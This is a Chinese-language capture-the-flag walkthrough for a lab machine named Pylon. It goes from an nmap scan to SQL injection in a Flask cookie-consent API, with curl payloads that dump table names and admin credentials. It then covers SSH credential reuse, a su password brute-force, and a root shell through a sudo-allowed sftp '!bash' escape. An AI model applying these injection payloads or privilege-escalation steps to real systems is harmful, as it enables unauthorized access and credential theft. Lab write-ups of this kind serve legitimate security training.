

Pylon

```
nmap -p- 192.168.10.11
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-03 21:02 EDT
Nmap scan report for pylon (192.168.10.11)
Host is up (0.0014s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
8888/tcp  open  sun-answerbook
MAC Address: 08:00:27:BD:B8:7A (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 7.71 seconds
```

80没有信息，8888是flask。ai测试发现左下角的cookie同意弹窗存在sql注入漏洞。

```
curl -s -X POST http://192.168.10.11:8888/api/consent -d "action=accepted"
{"error":"near \"curl\": syntax error"}
```

action与UA头被直接拼进sql，action可注入。枚举表名，进行脱库

```
└─(kali㉿kali)-[~/Desktop]
└─$ curl -s -X POST http://192.168.10.11:8888/api/consent \
  --data-urlencode "action=x', (SELECT group_concat(tbl_name) FROM sqlite_master), 'u', '1.2.3.4'
{"browser":"cookie_consent,sqlite_sequence,admin_users,admin_users,comments,subscribers,subscrib
└─(kali㉿kali)-[~/Desktop]
└─$ curl -s -X POST http://192.168.10.11:8888/api/consent \
  --data-urlencode "action=x', (SELECT group_concat(username||':'||password||':'||role) FROM adr
{"browser":"jsmith:x92kLm4pQ7r:editor,operator:Zy8wNv3tR1a:operator,deploy_bot:aB4cD6eF8gH:deplc
```

进入/admin，只有日志。对得到的账密进行ssh复用，jsmith可以登录

```
jsmith@Pylon:~$ id
uid=1000(jsmith) gid=1000(jsmith) groups=1000(jsmith)
jsmith@Pylon:~$ cat user.txt
flag{user-2bbc563eaa25a87861c26cfe1fd1d420}
```

常规提权检查

```
sudo -l
find / -perm -4000 -type f 2>/dev/null
ls -la /etc/crontabs/
getcap -r / 2>/dev/null
cat /etc/passwd
```

没有啥发现，注意到

```
apache:x:101:102:apache:/var/www:/bin/bash
```

apache用户存在交互式shell，默认应该是 /sbin/nologin

尝试爆破Apache用户密码，suForce爆破得到密码 iseedeadpeople

可以免密执行sftp，成功提权。

```
jsmith@Pylon:~$ su apache
Password:
apache@Pylon:/home/jsmith$ sudo -l
Matching Defaults entries for apache on Pylon:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for apache:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User apache may run the following commands on Pylon:
    (ALL) NOPASSWD: /usr/bin/sftp
apache@Pylon:/home/jsmith$ sudo /usr/bin/sftp jsmith@127.0.0.1
jsmith@127.0.0.1's password:
Connected to 127.0.0.1.
sftp> !bash -i
Pylon:/home/jsmith# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
Pylon:/home/jsmith# cat /root/root.txt
flag{root-f7f6b5543fdb79e0a0c7dc1710c00c52}
Pylon:/home/jsmith# cat /home/jsmith/user.txt
flag{user-2bbc563eaa25a87861c26cfe1fd1d420}
```